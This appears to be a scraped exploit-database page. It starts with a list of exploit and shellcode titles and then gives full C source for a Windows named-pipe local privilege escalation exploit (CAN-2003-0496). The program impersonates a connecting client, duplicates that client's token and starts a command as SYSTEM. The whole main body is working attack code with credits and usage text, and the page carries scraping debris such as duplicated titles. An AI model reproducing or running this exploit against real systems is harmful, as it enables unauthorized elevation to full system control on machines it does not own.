
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
130 lines
No EOL
3.6 KiB
C
130 lines
No EOL
3.6 KiB
C
// source: https://www.securityfocus.com/bid/8128/info
|
|
|
|
It has been reported that Microsoft Windows does not properly handle named pipes through the CreateFile API. Because of this, an attacker may be able to gain access to the SYSTEM account.
|
|
|
|
/* tac0tac0.c - pay no attention to the name, long
|
|
story...
|
|
*
|
|
*
|
|
*
|
|
* Author: Maceo
|
|
* Modified to take advantage of CAN-2003-0496 Named
|
|
Pipe Filename
|
|
* Local Privilege Escalation Found by @stake. Use with
|
|
their advisory
|
|
* -wirepair@sh0dan.org
|
|
http://sh0dan.org/files/tac0tac0.c
|
|
*
|
|
*
|
|
* All credits for code go to Maceo, i really did
|
|
minimal work
|
|
* with his code, it took me like 3 seconds heh.
|
|
* Shouts to #innercircle,
|
|
*
|
|
*/
|
|
|
|
|
|
#include <stdio.h>
|
|
#include <windows.h>
|
|
|
|
|
|
int main(int argc, char **argv)
|
|
{
|
|
char szPipe[64];
|
|
DWORD dwNumber = 0;
|
|
DWORD dwType = REG_DWORD;
|
|
DWORD dwSize = sizeof(DWORD);
|
|
DWORD dw = GetLastError();
|
|
HANDLE hToken, hToken2;
|
|
PGENERIC_MAPPING pGeneric;
|
|
SECURITY_ATTRIBUTES sa;
|
|
DWORD dwAccessDesired;
|
|
PACL pACL = NULL;
|
|
PSECURITY_DESCRIPTOR pSD = NULL;
|
|
STARTUPINFO si;
|
|
PROCESS_INFORMATION pi;
|
|
|
|
|
|
if (argc != 2) {
|
|
fprintf(stderr, "Usage: %s <cmd.exe>\nNamed Pipe Local
|
|
Priv Escalation found by @stake.\n"
|
|
"This code is to be used with MS-SQL exactly as
|
|
outlined in their advisory\n"
|
|
"All credit for this code goes to Maceo, he did a
|
|
fine job.. -wire\n"
|
|
"Also thanks goes to brett Moore for helping me
|
|
with DuplicateTokenEx, thanks buddy guy!\n",argv[0]);
|
|
exit(1);
|
|
}
|
|
memset(&si,0,sizeof(si));
|
|
sprintf(szPipe, "\\\\.\\pipe\\poop");
|
|
|
|
// create the named pipe
|
|
HANDLE hPipe = 0;
|
|
hPipe = CreateNamedPipe (szPipe, PIPE_ACCESS_DUPLEX,
|
|
PIPE_TYPE_MESSAGE|PIPE_WAIT, 2, 0, 0, 0, NULL);
|
|
if (hPipe == INVALID_HANDLE_VALUE) {
|
|
printf ("Failed to create named pipe:\n %s\n",
|
|
szPipe);
|
|
return 3;
|
|
}
|
|
printf("Created Named Pipe: \\\\.\\pipe\\poop\n");
|
|
|
|
// setup security attribs
|
|
pSD = (PSECURITY_DESCRIPTOR) LocalAlloc(LPTR,
|
|
SECURITY_DESCRIPTOR_MIN_LENGTH);
|
|
InitializeSecurityDescriptor(pSD,
|
|
SECURITY_DESCRIPTOR_REVISION);
|
|
SetSecurityDescriptorDacl(pSD,TRUE, pACL, FALSE);
|
|
sa.nLength = sizeof (SECURITY_ATTRIBUTES);
|
|
sa.lpSecurityDescriptor = pSD;
|
|
sa.bInheritHandle = FALSE;
|
|
|
|
printf("Waiting for connection...\n");
|
|
// wait for client to connect
|
|
ConnectNamedPipe (hPipe, NULL);
|
|
|
|
// assume the identity of the client //
|
|
if (!ImpersonateNamedPipeClient (hPipe)) {
|
|
printf ("Failed to impersonate the named pipe.\n");
|
|
CloseHandle(hPipe);
|
|
return 5;
|
|
}
|
|
|
|
if (!OpenThreadToken(GetCurrentThread(),
|
|
TOKEN_ALL_ACCESS, TRUE, &hToken )) {
|
|
if (hToken != INVALID_HANDLE_VALUE) {
|
|
printf("GetLastError: %u\n", dw);
|
|
CloseHandle(hToken);
|
|
exit(0);
|
|
}
|
|
}
|
|
|
|
printf("Duplicating Token...\n");
|
|
if(DuplicateTokenEx(hToken,MAXIMUM_ALLOWED,&sa,SecurityImpersonation,
|
|
TokenPrimary,&hToken2) == 0) {
|
|
printf("error in duplicate token\n");
|
|
printf("GetLastError: %u\n", dw);
|
|
exit(0);
|
|
}
|
|
MapGenericMask( &dwAccessDesired, pGeneric );
|
|
|
|
// display impersonating users name
|
|
dwSize = 256;
|
|
char szUser[256];
|
|
GetUserName(szUser, &dwSize);
|
|
printf ("Impersonating: %s\n", szUser);
|
|
|
|
si.cb = sizeof(si);
|
|
si.lpDesktop = NULL;
|
|
|
|
printf("Creating New Process %s\n", argv[1]);
|
|
if(!CreateProcessAsUser(hToken2, NULL, argv[1], &sa,
|
|
&sa,true, NORMAL_PRIORITY_CLASS |
|
|
CREATE_NEW_CONSOLE,NULL,NULL,&si, &pi)) {
|
|
printf("GetLastError: %u\n", dw);
|
|
}
|
|
CloseHandle(hPipe);
|
|
|
|
return 0;
|
|
} |